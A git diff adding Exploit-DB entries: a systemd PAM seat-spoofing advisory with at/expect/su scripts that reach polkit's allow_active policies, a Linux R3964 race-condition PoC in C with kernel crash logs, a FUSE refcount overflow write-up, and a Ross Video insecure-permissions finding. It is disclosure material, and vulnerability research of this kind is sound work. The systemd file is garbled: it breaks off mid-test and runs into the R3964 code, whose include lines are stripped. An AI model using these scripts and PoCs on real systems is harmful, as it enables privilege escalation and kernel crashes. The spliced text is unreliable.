diff --git a/exploits/linux/dos/46743.txt b/exploits/linux/dos/46743.txt new file mode 100644 index 000000000..31d83d4f9 --- /dev/null +++ b/exploits/linux/dos/46743.txt @@ -0,0 +1,243 @@ +As documented at +, for +any action, a polkit policy can specify separate levels of required +authentication based on whether a client is: + + - in an active session on a local console + - in an inactive session on a local console + - or neither + +This is expressed in the policy using the elements "allow_any", +"allow_inactive" and "allow_active". Very roughly speaking, the idea here is +to give special privileges to processes owned by users that are sitting +physically in front of the machine (or at least, a keyboard and a screen that +are connected to a machine), and restrict processes that e.g. belong to users +that are ssh'ing into a machine. + +For example, the ability to refresh the system's package index is restricted +this way using a policy in +/usr/share/polkit-1/actions/org.freedesktop.packagekit.policy: + + +[...] + Refresh system repositories +[...] + Authentication is required to refresh the system repositories +[...] + + auth_admin + auth_admin + yes + + + + +On systems that use systemd-logind, polkit determines whether a session is +associated with a local console by checking whether systemd-logind is tracking +the session as being associated with a "seat". This happens through +polkit_backend_session_monitor_is_session_local() in +polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat(). +The check whether a session is active works similarly. + +systemd-logind is informed about the creation of new sessions by the PAM +module pam_systemd through a systemd message bus call from +pam_sm_open_session() to method_create_session(). The RPC method trusts the +information supplied to it, apart from some consistency checks; that is not +directly a problem, since this RPC method can only be invoked by root. +This means that the PAM module needs to ensure that it doesn't pass incorrect +data to systemd-logind. + +Looking at the code in the PAM module, however, you can see that the seat name +of the session and the virtual terminal number come from environment +variables: + + seat = getenv_harder(handle, "XDG_SEAT", NULL); + cvtnr = getenv_harder(handle, "XDG_VTNR", NULL); + type = getenv_harder(handle, "XDG_SESSION_TYPE", type_pam); + class = getenv_harder(handle, "XDG_SESSION_CLASS", class_pam); + desktop = getenv_harder(handle, "XDG_SESSION_DESKTOP", desktop_pam); + +This is actually documented at +. + +After some fixup logic that is irrelevant here, this data is then passed to +the RPC method. + + +One quirk of this issue is that a new session is only created if the calling +process is not already part of a session (based on the cgroups it is in, +parsed from procfs). This means that an attacker can't simply ssh into a +machine, set some environment variables, and then invoke a setuid binary that +uses PAM (such as "su") because ssh already triggers creation of a session via +PAM. But as it turns out, the systemd PAM module is only invoked for +interactive sessions: + +# cat /usr/share/pam-configs/systemd +Name: Register user sessions in the systemd control group hierarchy +Default: yes +Priority: 0 +Session-Interactive-Only: yes +Session-Type: Additional +Session: + optional pam_systemd.so + +So, under the following assumptions: + + - we can run commands on the remote machine, e.g. via SSH + - our account can be used with "su" (it has a password and isn't disabled) + - the machine has no X server running and is currently displaying tty1, with + a login prompt + +we can have our actions checked against the "allow_active" policies instead of +the "allow_any" policies as follows: + + - SSH into the machine + - use "at" to schedule a job in one minute that does the following: + * wipe the environment + * set XDG_SEAT=seat0 and XDG_VTNR=1 + * use "expect" to run "su -c {...} {our_username}" and enter our user's + password + * in the shell invoked by "su", perform the action we want to run under the + "allow_active" policy + + +I tested this in a Debian 10 VM, as follows ("{{{...}}}" have been replaced), +after ensuring that no sessions are active and the VM's screen is showing the +login prompt on tty1; all following commands are executed over SSH: + + +===================================================================== +normal_user@deb10:~$ cat session_outer.sh +#!/bin/sh +echo "===== OUTER TESTING PKCON" >/tmp/atjob.log +pkcon refresh -p >/tmp/atjob.log +env -i /home/normal_user/session_middle.sh +normal_user@deb10:~$ cat session_middle.sh +#!/bin/sh +export XDG_SEAT=seat0 +export XDG_VTNR=1 + +echo "===== ENV DUMP =====" > /tmp/atjob.log +env >> /tmp/atjob.log + +echo "===== SESSION_OUTER =====" >> /tmp/atjob.log +cat /proc/self/cgroup >> /tmp/atjob.log + +echo "===== OUTER LOGIN STATE =====" >> /tmp/atjob.log +loginctl --no-ask-password >> /tmp/atjob.log + +echo "===== MIDDLE TESTING PKCON" >>/tmp/atjob.log +pkcon refresh -p >/tmp/atjob.log + +/home/normal_user/runsu.expect + +echo "=========================" >> /tmp/atjob.log +normal_user@deb10:~$ cat runsu.expect +#!/usr/bin/expect +spawn /bin/su -c "/home/normal_user/session_inner.sh" normal_user +expect "Password: " +send "{{{PASSWORD}}}\n" +expect eof + +normal_user@deb10:~$ cat session_inner.sh +#!/bin/sh +echo "===== INNER LOGIN STATE =====" >> /tmp/atjob.log +loginctl --no-ask-password >> /tmp/atjob.log + +echo "===== SESSION_INNER =====" >> /tmp/atjob.log +cat /proc/self/cgroup >> /tmp/atjob.log + +echo "===== INNER TESTING PKCON" >>/tmp/atjob.log +pkcon refresh -p >/tmp/atjob.log + +normal_user@deb10:~$ loginctl +SESSION UID USER SEAT TTY + 7 1001 normal_user pts/0 + +1 sessions listed. +normal_user@deb10:~$ pkcon refresh -p +#include +#include +#include +#include +#include +#include + +static int ptm_fd, slave_fd; + +static void *thread_fn(void *dummy) { + int res; + while (1) { + res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, R3964_SIG_ALL); + printf("R3964_ENABLE_SIGNALS: %d\n", res); + res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, 0); + printf("R3964_ENABLE_SIGNALS: %d\n", res); + } +} + +int main(void) { + ptm_fd = getpt(); + if (ptm_fd == -1) err(1, "getpt"); + if (unlockpt(ptm_fd)) err(1, "unlockpt"); + slave_fd = ioctl(ptm_fd, TIOCGPTPEER, O_RDWR); + if (slave_fd == -1) err(1, "TIOCGPTPEER"); + + printf("-----------------------------------------\n"); + system("ls -l /proc/$PPID/fd"); + printf("-----------------------------------------\n"); + + const int disc_r3964 = N_R3964; + if (ioctl(slave_fd, TIOCSETD, &disc_r3964)) err(1, "TIOCSETD"); + + pthread_t thread; + if (pthread_create(&thread, NULL, thread_fn, NULL)) errx(1, "pthread_create"); + + thread_fn(NULL); + + return 0; +} + +/* +user@ubuntu-18-04-vm:~/r3964$ gcc -o r3964_racer r3964_racer.c -pthread && ./r3964_racer +[...] +================================== + +dmesg splat: + +================================== +[ 82.646953] r3964: Philips r3964 Driver $Revision: 1.10 $ +[ 82.656459] ------------[ cut here ]------------ +[ 82.656461] kernel BUG at /build/linux-Y38gIP/linux-4.15.0/mm/slub.c:296! +[ 82.658396] invalid opcode: 0000 [#1] SMP PTI +[ 82.659515] Modules linked in: n_r3964 joydev ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack libcrc32c br_netfilter bridge stp llc aufs overlay snd_hda_codec_generic crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep ghash_clmulni_intel snd_pcm snd_seq_midi snd_seq_midi_event pcbc aesni_intel aes_x86_64 snd_rawmidi snd_seq snd_seq_device snd_timer snd crypto_simd glue_helper cryptd input_leds soundcore mac_hid 9pnet_virtio 9pnet serio_raw qemu_fw_cfg sch_fq_codel parport_pc ppdev lp parport ip_tables x_tables autofs4 virtio_gpu ttm floppy drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops drm +[ 82.677770] virtio_net i2c_piix4 pata_acpi +[ 82.678849] CPU: 1 PID: 2209 Comm: r3964_racer Not tainted 4.15.0-42-generic #45-Ubuntu +[ 82.680897] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 +[ 82.683098] RIP: 0010:kfree+0x16a/0x180 +[ 82.684116] RSP: 0018:ffffb6b381d7fd50 EFLAGS: 00010246 +[ 82.685454] RAX: ffff9bb0b4770000 RBX: ffff9bb0b4770000 RCX: ffff9bb0b4770000 +[ 82.687285] RDX: 0000000000006e86 RSI: ffff9bb1bfca70a0 RDI: ffff9bb1bb003800 +[ 82.689247] RBP: ffffb6b381d7fd68 R08: ffffffffc0511db0 R09: ffffffffc051202c +[ 82.691077] R10: ffffeb8c80d1dc00 R11: 0000000000000000 R12: ffff9bb1b3430e40 +[ 82.692906] R13: ffffffffc051202c R14: ffff9bb13b56e800 R15: ffff9bb12d1addd0 +[ 82.694726] FS: 00007ff9b92da740(0000) GS:ffff9bb1bfc80000(0000) knlGS:0000000000000000 +[ 82.696801] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 82.698421] CR2: 0000558cf9e32ec8 CR3: 00000000a513a005 CR4: 00000000003606e0 +[ 82.700259] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 82.702113] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +[ 82.703946] Call Trace: +[ 82.704602] r3964_ioctl+0x27c/0x2b0 [n_r3964] +[ 82.705746] tty_ioctl+0x138/0x8c0 +[ 82.706631] ? __wake_up+0x13/0x20 +[ 82.707516] do_vfs_ioctl+0xa8/0x630 +[ 82.708610] ? vfs_write+0x166/0x1a0 +[ 82.709543] SyS_ioctl+0x79/0x90 +[ 82.710405] do_syscall_64+0x73/0x130 +[ 82.711357] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 +[ 82.712659] RIP: 0033:0x7ff9b8bd45d7 +[ 82.713680] RSP: 002b:00007fffcd85bcf8 EFLAGS: 00000202 ORIG_RAX: 0000000000000010 +[ 82.715617] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff9b8bd45d7 +[ 82.717463] RDX: 0000000000000000 RSI: 0000000000005301 RDI: 0000000000000004 +[ 82.719411] RBP: 00007fffcd85bd20 R08: 0000000000000000 R09: 0000000000000000 +[ 82.721248] R10: 0000000000000000 R11: 0000000000000202 R12: 0000556df58ed820 +[ 82.723093] R13: 00007fffcd85be30 R14: 0000000000000000 R15: 0000000000000000 +[ 82.724930] Code: c4 80 74 04 41 8b 72 6c 4c 89 d7 e8 61 1c f9 ff eb 86 41 b8 01 00 00 00 48 89 d9 48 89 da 4c 89 d6 e8 8b f6 ff ff e9 6d ff ff ff <0f> 0b 48 8b 3d 6d c5 1c 01 e9 c9 fe ff ff 0f 1f 84 00 00 00 00 +[ 82.729909] RIP: kfree+0x16a/0x180 RSP: ffffb6b381d7fd50 +[ 82.731310] ---[ end trace c1cd537c5d2e0b84 ]--- +================================== + + +I've also tried this on 5.0-rc2 with KASAN on, which resulted in this splat: + +================================== +[ 69.883056] ================================================================== +[ 69.885163] BUG: KASAN: use-after-free in r3964_ioctl+0x288/0x3c0 +[ 69.886855] Read of size 8 at addr ffff8881e0474020 by task r3964_racer/1134 +[ 69.888820] +[ 69.889251] CPU: 3 PID: 1134 Comm: r3964_racer Not tainted 5.0.0-rc2 #238 +[ 69.891729] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 +[ 69.894535] Call Trace: +[ 69.895223] dump_stack+0x71/0xab +[ 69.896134] ? r3964_ioctl+0x288/0x3c0 +[ 69.897181] print_address_description+0x6a/0x270 +[ 69.898473] ? r3964_ioctl+0x288/0x3c0 +[ 69.899499] ? r3964_ioctl+0x288/0x3c0 +[ 69.900534] kasan_report+0x14e/0x192 +[ 69.901562] ? r3964_ioctl+0x288/0x3c0 +[ 69.902606] r3964_ioctl+0x288/0x3c0 +[ 69.903586] tty_ioctl+0x227/0xbd0 +[...] +[ 69.917312] do_vfs_ioctl+0x134/0x8f0 +[...] +[ 69.926807] ksys_ioctl+0x70/0x80 +[ 69.927709] __x64_sys_ioctl+0x3d/0x50 +[ 69.928734] do_syscall_64+0x73/0x160 +[ 69.929741] entry_SYSCALL_64_after_hwframe+0x44/0xa9 +[ 69.931099] RIP: 0033:0x7f6491542dd7 +[ 69.932068] Code: 00 00 00 48 8b 05 c1 80 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 91 80 2b 00 f7 d8 64 89 01 48 +[ 69.937051] RSP: 002b:00007f6491460f28 EFLAGS: 00000206 ORIG_RAX: 0000000000000010 +[ 69.939067] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6491542dd7 +[ 69.940977] RDX: 000000000000000f RSI: 0000000000005301 RDI: 0000000000000004 +[ 69.942905] RBP: 00007f6491460f50 R08: 0000000000000000 R09: 0000000000000018 +[ 69.944800] R10: 0000000000000064 R11: 0000000000000206 R12: 0000000000000000 +[ 69.947600] R13: 00007ffeb17a9b4f R14: 0000000000000000 R15: 00007f6491c42040 +[ 69.949491] +[ 69.949923] Allocated by task 1131: +[ 69.950866] __kasan_kmalloc.constprop.8+0xa5/0xd0 +[ 69.952147] kmem_cache_alloc_trace+0xfa/0x200 +[ 69.953352] r3964_ioctl+0x2e6/0x3c0 +[ 69.954333] tty_ioctl+0x227/0xbd0 +[ 69.955267] do_vfs_ioctl+0x134/0x8f0 +[ 69.956248] ksys_ioctl+0x70/0x80 +[ 69.957150] __x64_sys_ioctl+0x3d/0x50 +[ 69.958169] do_syscall_64+0x73/0x160 +[ 69.959148] entry_SYSCALL_64_after_hwframe+0x44/0xa9 +[ 69.960485] +[ 69.960910] Freed by task 1131: +[ 69.961764] __kasan_slab_free+0x135/0x180 +[ 69.962851] kfree+0x90/0x1d0 +[ 69.963660] r3964_ioctl+0x208/0x3c0 +[ 69.964631] tty_ioctl+0x227/0xbd0 +[ 69.965564] do_vfs_ioctl+0x134/0x8f0 +[ 69.966540] ksys_ioctl+0x70/0x80 +[ 69.967424] __x64_sys_ioctl+0x3d/0x50 +[ 69.968424] do_syscall_64+0x73/0x160 +[ 69.969414] entry_SYSCALL_64_after_hwframe+0x44/0xa9 +[ 69.970768] +[ 69.971182] The buggy address belongs to the object at ffff8881e0474008 +[ 69.971182] which belongs to the cache kmalloc-64 of size 64 +[ 69.974429] The buggy address is located 24 bytes inside of +[ 69.974429] 64-byte region [ffff8881e0474008, ffff8881e0474048) +[ 69.977470] The buggy address belongs to the page: +[ 69.978744] page:ffffea0007811d00 count:1 mapcount:0 mapping:ffff8881e600f740 index:0x0 compound_mapcount: 0 +[ 69.981316] flags: 0x17fffc000010200(slab|head) +[ 69.982528] raw: 017fffc000010200 ffffea0007554508 ffffea0007811e08 ffff8881e600f740 +[ 69.984722] raw: 0000000000000000 0000000000270027 00000001ffffffff 0000000000000000 +[ 69.984723] page dumped because: kasan: bad access detected +[ 69.984724] +[ 69.984725] Memory state around the buggy address: +[ 69.984727] ffff8881e0473f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[ 69.984729] ffff8881e0473f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[ 69.984731] >ffff8881e0474000: fc fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc +[ 69.984732] ^ +[ 69.984734] ffff8881e0474080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[ 69.984736] ffff8881e0474100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[ 69.984737] ================================================================== +[ 69.984739] Disabling lock debugging due to kernel taint +[ 69.996233] ================================================================== +================================== + + +I wonder whether it would, in addition to fixing the locking, also make sense to +gate the line discipline on some sort of capability - it seems wrong to me that +this kind of code is exposed to every user on the system. +*/ \ No newline at end of file diff --git a/exploits/linux/dos/46745.txt b/exploits/linux/dos/46745.txt new file mode 100644 index 000000000..33c2e94c4 --- /dev/null +++ b/exploits/linux/dos/46745.txt @@ -0,0 +1,214 @@ +Linux: page->_refcount overflow via FUSE with ~140GiB RAM usage + +Tested on: +Debian Buster +distro kernel "4.19.0-1-amd64 #1 SMP Debian 4.19.12-1 (2018-12-22)" +KVM guest with 160000MiB RAM + +A while back, there was some discussion about possible overflows of the +`mapcount` in `struct page`, started by Daniel Micay. +See the following threads: + +https://lore.kernel.org/lkml/CAG48ez3R7XL8MX_sjff1FFYuARX_58wA_=ACbv2im-XJKR8tvA@mail.gmail.com/t/#u +"Re: [PATCH v5 07/27] mm/mmap: Create a guard area between VMAs" +Sent by me, forwarding Daniel Micay's concern about overflows of `mapcount`. + +https://lore.kernel.org/lkml/20180208021112.GB14918@bombadil.infradead.org/T/ +"[RFC] Warn the user when they could overflow mapcount" +from Matthew Wilcox + + +I have now noticed that the `_refcount` has a similar problem, and it is +possible to overflow it on a machine with ~140GiB of RAM (or probably also less +on kernels that have commit 5da784cce4308 ("fuse: add max_pages to init_out"), +but that's very recent, it landed in 4.20). + +A FUSE request can, by default (and on kernels <4.20 always), contain up to +FUSE_DEFAULT_MAX_PAGES_PER_REQ==32 (on older kernels FUSE_MAX_PAGES_PER_REQ==32) +page references. (>=4.20 allows the user to bump that limit up to +FUSE_MAX_MAX_PAGES==256.) The page references in a FUSE request are stored as +an array whose elements are concatenations of a `struct page *` and a +`struct fuse_page_desc` (8 bytes, containing length and offset inside the page). +This means that each page reference consumes 16 bytes, so to overflow the +32-bit `_refcount` of a page, pow(2,32)*16B=64GiB of kernel memory are needed as +storage for such references allocated with fuse_req_pages_alloc(). All other +overhead is at least per-FUSE-request and distributed over +FUSE_DEFAULT_MAX_PAGES_PER_REQ==32 references. + +FUSE does permit read/write operations that operate on more pages than the +maximum FUSE request page count; in this case, if direct I/O is used, +fuse_direct_io() splits the operation into multiple requests. This means that +the only limits at the VFS layer are MAX_RW_COUNT==0x7ffff000 and +UIO_MAXIOV==0x400. + +This means that it is possible to create 0x7ffff references to a page that can +be freely mapped in userspace as follows: + + - Set up a virtual memory area that contains 0x200 consecutive mappings of the + same page. + - Create an array of UIO_MAXIOV==0x400 identical IO vectors that point to the + area containing the 0x200 mappings. + - Open a FUSE-backed file with O_DIRECT. (This file should ***NOT*** be served + as FOPEN_DIRECT_IO by the FUSE filesystem, that prevents AIO from working + AFAICS! That probably counts as a bug if I'm right...) + - Use the UIO_MAXIOV==0x400 IO vectors for a read operation on the file. + - Let the FUSE filesystem leave the read requests pending. + +By sending 0x2000 such read operations, the _refcount can be brought close to +overflow. + +(Technically, you could play games with unaligned addresses and such to increase +the number of references per read operation a bit further.) + +In order to avoid needing one client-side userspace thread per read operation, +it is possible to use AIO. AIO is able to send read operations that will be +processed asynchronously by FUSE; however, FUSE limits the number of resulting +FUSE requests ***per FUSE filesystem*** to a variable number that depends on the +amount of physical memory the system has (see sanitize_global_limit(); the limit +is the amount of RAM multiplied with 2^-13). Since this limit is per-filesystem, +as long as a single filesystem operation's FUSE requests fit in the limit, +an attacker can distribute the filesystem operations across multiple FUSE +filesystems. + +AIO also imposes a global limit on the number of pending operations. +The official limit for pending AIO operations across the system is +aio_max_nr==0x10000; however, as a comment in fs/aio.c explains, +the real limit is significantly higher, and up to 0x10000 *pages* of +io_event structs (minus the overhead of `struct aio_ring`) +can be used (see aio_setup_ring()); this means that the real limit is +0x10000*((0x1000-128)/32)==0x7c0000 operations. +But since the bug can be triggered with ~0x2000 parallel pread operations, that +doesn't matter here anyway. + + +I am attaching a crash PoC. + +First, to make it possible to call dump_page() from userspace for easier +debugging: + + - Unpack dump_page_dev.tar. + - Build the kernel module in dump_page_dev/ with "make". + - Load the built kernel module with "sudo insmod dump_page_dev.ko". + +For the actual PoC: + + - Ensure that there is no distro-specific sysctl that prevents unprivileged + namespace creation (on Debian: + "echo 1 > /proc/sys/kernel/unprivileged_userns_clone"). This is necessary + to be able to create a mount namespace and mount as many FUSE filesystems as + we want in there; the SUID fusermount helper imposes a limit of 1000 FUSE + mounts. + - Unpack fuse_aio.tar. + - Build the PoC with ./compile.sh. + - Launch a new graphical terminal with multiple tabs in a new mount namespace, + using a command like + `unshare -mUrp --mount-proc --fork xfce4-terminal --disable-server`. + - Inside the namespace, run ./fuse_aio to mount 0x2000 FUSE filesystems. + - In a second terminal tab inside the namespace, run ./aio_reader to trigger + the bug. + - Wait and watch `sudo dmesg -w`. + +You should see debug output like this in dmesg: + +[ 304.782310] fuse init (API version 7.27) +[ 309.607367] mmap: aio_reader (10371) uses deprecated remap_file_pages() syscall. See Documentation/vm/remap_file_pages.rst. +[ 309.631150] dump_page: ---------- STARTING DUMP ---------- +[ 309.631154] dump_page: DUMP MARKER: 0x0 +[ 309.631158] page:fffff7bad9e04fc0 count:8194 mapcount:8192 mapping:ffffa0f08abdb358 index:0x0 +[ 309.631162] flags: 0x17fffc00004007c(referenced|uptodate|dirty|lru|active|swapbacked) +[ 309.631165] raw: 017fffc00004007c fffff7bad9e049c8 ffffa0f0a04e0c10 ffffa0f08abdb358 +[ 309.631167] raw: 0000000000000000 0000000000000000 0000200200001fff ffffa0f0a036e000 +[ 309.631169] page dumped because: dump requested via ioctl +[ 309.631170] page->mem_cgroup:ffffa0f0a036e000 +[ 309.631171] dump_page: ========== END OF DUMP ========== +[ 309.667063] dump_page: ---------- STARTING DUMP ---------- +[ 309.667067] dump_page: DUMP MARKER: 0x1 +[ 309.667070] page:fffff7bad9e04fc0 count:532481 mapcount:8192 mapping:ffffa0f08abdb358 index:0x0 +[ 309.667074] flags: 0x17fffc00004007c(referenced|uptodate|dirty|lru|active|swapbacked) +[ 309.667078] raw: 017fffc00004007c fffff7bad9e049c8 fffff7bad9d09a08 ffffa0f08abdb358 +[ 309.667080] raw: 0000000000000000 0000000000000000 0008200100001fff ffffa0f0a036e000 +[ 309.667081] page dumped because: dump requested via ioctl +[ 309.667082] page->mem_cgroup:ffffa0f0a036e000 +[ 309.667083] dump_page: ========== END OF DUMP ========== +[ 423.507289] dump_page: ---------- STARTING DUMP ---------- +[ 423.507293] dump_page: DUMP MARKER: 0x2 +[ 423.507296] page:fffff7bad9e04fc0 count:-2147479550 mapcount:8192 mapping:ffffa0f08abdb358 index:0x0 +[ 423.507299] flags: 0x17fffc00004007c(referenced|uptodate|dirty|lru|active|swapbacked) +[ 423.507302] raw: 017fffc00004007c fffff7bad9e049c8 fffff7bad9d09a08 ffffa0f08abdb358 +[ 423.507303] raw: 0000000000000000 0000000000000000 8000100200001fff ffffa0f0a036e000 +[ 423.507304] page dumped because: dump requested via ioctl +[ 423.507305] page->mem_cgroup:ffffa0f0a036e000 +[ 423.507306] dump_page: ========== END OF DUMP ========== +[ 608.388324] dump_page: ---------- STARTING DUMP ---------- +[ 608.388333] dump_page: DUMP MARKER: 0x3 +[ 608.388340] page:fffff7bad9e04fc0 count:2 mapcount:8192 mapping:ffffa0f08abdb358 index:0x0 +[ 608.388347] flags: 0x17fffc00004007c(referenced|uptodate|dirty|lru|active|swapbacked) +[ 608.388353] raw: 017fffc00004007c fffff7bad9e049c8 fffff7bad9d09a08 ffffa0f08abdb358 +[ 608.388358] raw: 0000000000000000 0000000000000000 0000000200001fff ffffa0f0a036e000 +[ 608.388361] page dumped because: dump requested via ioctl +[ 608.388363] page->mem_cgroup:ffffa0f0a036e000 +[ 608.388365] dump_page: ========== END OF DUMP ========== +[ 608.390616] dump_page: ---------- STARTING DUMP ---------- +[ 608.390620] dump_page: DUMP MARKER: 0x4 +[ 608.390624] page:fffff7bad9e04fc0 count:-510 mapcount:7680 mapping:ffffa0f08abdb358 index:0x1 +[ 608.390628] flags: 0x17fffc000000004(referenced) +[ 608.390632] raw: 017fffc000000004 fffff7ba54000948 ffffa0f0b35e62f8 ffffa0f08abdb358 +[ 608.390636] raw: 0000000000000001 0000000000000000 fffffe0200001dff 0000000000000000 +[ 608.390639] page dumped because: dump requested via ioctl +[ 608.390641] dump_page: ========== END OF DUMP ========== +[...] +[ 608.409077] dump_page: ---------- STARTING DUMP ---------- +[ 608.409079] dump_page: DUMP MARKER: 0x4 +[ 608.409081] page:fffff7bad9e04fc0 count:-7678 mapcount:512 mapping:ffffa0f08abdb358 index:0x1 +[ 608.409083] flags: 0x17fffc000000004(referenced) +[ 608.409085] raw: 017fffc000000004 fffff7ba54000948 ffffa0f0b35e62f8 ffffa0f08abdb358 +[ 608.409086] raw: 0000000000000001 0000000000000000 ffffe202000001ff 0000000000000000 +[ 608.409087] page dumped because: dump requested via ioctl +[ 608.409088] dump_page: ========== END OF DUMP ========== +[ 608.409988] dump_page: ---------- STARTING DUMP ---------- +[ 608.409990] dump_page: DUMP MARKER: 0x5 +[ 608.409992] page:fffff7bad9e04fc0 count:-8189 mapcount:1 mapping:ffffa0f08abdb358 index:0x1 +[ 608.409994] flags: 0x17fffc000000004(referenced) +[ 608.409996] raw: 017fffc000000004 fffff7ba54000948 ffffa0f0b35e62f8 ffffa0f08abdb358 +[ 608.409999] raw: 0000000000000001 0000000000000000 ffffe00300000000 0000000000000000 +[ 608.410000] page dumped because: dump requested via ioctl +[ 608.410000] dump_page: ========== END OF DUMP ========== + +As you can see, the reference count of the page (when interpreted as an unsigned +number) goes up to 2^32-1 and wraps around, then goes down again and wraps back. +When the refcount wraps back, the page AFAIU moves onto a freelist, and you can +see that e.g. its flags change at that point. + +If you interact with the system a bit at this point, you'll soon run into +various kinds of kernel BUG()s. + + +My guess is that most people don't have machines with >=140GiB RAM at this +point, so luckily, issues like this are probably not a big problem for most +users yet. + +As far as I can tell, there are a bunch of potential ways to deal with this +issue: + +1. Make refcount/mapcount bigger; but as Matthew Wilcox points out in + , + that would cost something like 2GiB of RAM on a machine with 1TiB RAM. +2. Dirty hack: Detect refcount/mapcount overflow and freeze them at a high + value, in order to deterministically leak references to that page. + Downside is that memory is still going to leak permanently. + This is what refcount_t does on X86 or when CONFIG_REFCOUNT_FULL is set. +3. Daniel Micay's suggestion: Dynamically switch from a small inline refcount to + an out-of-line refcount in some sort of lookup structure + (). +4. Ad-hoc fixes to keep the number of possible references down, see e.g.: + - https://lore.kernel.org/lkml/20180208213743.GC3424@bombadil.infradead.org/ + - commit 92117d8443bc5afacc8d5ba82e541946310f106e ("bpf: fix refcnt overflow") + +Number 1 is obviously correct, but probably unacceptable given its cost; number +4 is probably the next-easiest solution for any specific way to overflow some +reference counter, but as Daniel said, it smells of whack-a-mole. +That leaves numbers 2 and 3, I guess, unless someone has a better idea? + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/46745.zip \ No newline at end of file diff --git a/exploits/windows/local/46742.txt b/exploits/windows/local/46742.txt new file mode 100644 index 000000000..93b7fa17d --- /dev/null +++ b/exploits/windows/local/46742.txt @@ -0,0 +1,43 @@ +Ross Video DashBoard 8.5.1 Insecure Permissions + + +Vendor: Ross Video Ltd. +Product web page: https://www.rossvideo.com +Affected version: 8.5.1 + +Summary: DashBoard is a free and open platform from Ross Video for facility +control and monitoring that enables users to quickly build unique, tailored +Custom Panels that make complex operations simple. + +Desc: DashBoard suffers from an elevation of privileges vulnerability which +can be used by a simple authenticated user that can change the executable file +with a binary of choice. The vulnerability exist due to the improper permissions, +with the 'M' flag (Modify) or 'C' flag (Change) for 'Authenticated Users' group. + +Tested on: Microsoft Windows 7 Professional SP1 (EN) + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2019-5516 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5516.php + + +23.04.2019 + +-- + + +C:\DashBoard>icacls DashBoard.exe && cacls DashBoard.exe +DashBoard.exe BUILTIN\Administrators:(I)(F) + NT AUTHORITY\SYSTEM:(I)(F) + BUILTIN\Users:(I)(RX) + NT AUTHORITY\Authenticated Users:(I)(M) + +Successfully processed 1 files; Failed processing 0 files +C:\DashBoard\DashBoard.exe BUILTIN\Administrators:(ID)F + NT AUTHORITY\SYSTEM:(ID)F + BUILTIN\Users:(ID)R + NT AUTHORITY\Authenticated Users:(ID)C \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 17aa7409c..9e38d7f1e 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6395,6 +6395,9 @@ id,file,description,date,author,type,platform,port 46732,exploits/windows/dos/46732.py,"Ease Audio Converter 5.30 - '.mp4' Denial of Service (PoC)",2019-04-22,Achilles,dos,windows, 46733,exploits/hardware/dos/46733.py,"QNAP myQNAPcloud Connect 1.3.4.0317 - 'Username/Password' Denial of Service",2019-04-22,"Dino Covotsos",dos,hardware, 46735,exploits/multiple/dos/46735.html,"Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC)",2019-04-22,"Bogdan Kurinnoy",dos,multiple, +46743,exploits/linux/dos/46743.txt,"systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit",2019-04-23,"Google Security Research",dos,linux, +46744,exploits/linux/dos/46744.c,"Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition",2019-04-23,"Google Security Research",dos,linux, +46745,exploits/linux/dos/46745.txt,"Linux - 'page->_refcount' Overflow via FUSE",2019-04-23,"Google Security Research",dos,linux, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -10433,6 +10436,7 @@ id,file,description,date,author,type,platform,port 46727,exploits/multiple/local/46727.rb,"LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)",2019-04-18,Metasploit,local,multiple, 46730,exploits/linux/local/46730.rb,"SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)",2019-04-19,Metasploit,local,linux, 46737,exploits/windows/local/46737.py,"LabF nfsAxe 3.7 Ping Client - 'Host IP' Buffer Overflow (Direct Ret)",2019-04-22,"Dino Covotsos",local,windows, +46742,exploits/windows/local/46742.txt,"Ross Video DashBoard 8.5.1 - Insecure Permissions",2019-04-23,LiquidWorm,local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote 